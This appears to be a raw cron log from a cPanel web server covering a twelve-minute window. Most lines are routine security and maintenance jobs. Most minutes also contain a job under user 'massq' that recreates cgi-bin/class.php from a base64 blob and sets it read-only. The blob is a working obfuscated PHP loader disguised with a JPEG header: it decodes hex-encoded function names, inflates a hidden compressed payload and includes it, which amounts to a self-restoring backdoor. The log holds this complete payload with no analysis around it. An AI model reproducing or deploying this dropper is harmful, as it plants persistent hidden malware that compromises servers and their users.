Sep  2 07:08:01 server CROND[18487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:09:01 server CROND[18866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:09:01 server CROND[18868]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 07:09:01 server CROND[18867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:09:01 server CROND[18869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:10:01 server CROND[19277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:10:01 server CROND[19278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:10:01 server CROND[19289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:10:01 server CROND[19294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:10:01 server CROND[19302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:10:01 server CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:10:01 server CROND[19308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:10:01 server CROND[19300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:11:01 server CROND[20252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:11:01 server CROND[20254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:11:01 server CROND[20253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:12:01 server CROND[20631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:12:01 server CROND[20632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:12:01 server CROND[20633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:12:01 server CROND[20634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:13:01 server CROND[21011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:13:01 server CROND[21012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:13:01 server CROND[21013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:14:01 server CROND[21386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:14:01 server CROND[21387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:14:01 server CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:15:01 server CROND[21804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:15:01 server CROND[21806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:15:01 server CROND[21810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:15:01 server CROND[21819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:15:01 server CROND[21820]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 07:15:01 server CROND[21818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:15:01 server CROND[21817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:15:01 server CROND[21823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:16:01 server CROND[22959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:16:01 server CROND[22960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:16:01 server CROND[22963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:17:01 server CROND[23367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:17:01 server CROND[23368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:17:01 server CROND[23369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:18:01 server CROND[23745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:18:01 server CROND[23746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:18:01 server CROND[23747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:19:01 server CROND[24118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:19:01 server CROND[24119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:19:01 server CROND[24120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:20:01 server CROND[24502]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:20:01 server CROND[24505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:20:01 server CROND[24507]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:20:01 server CROND[24508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:20:01 server CROND[24512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
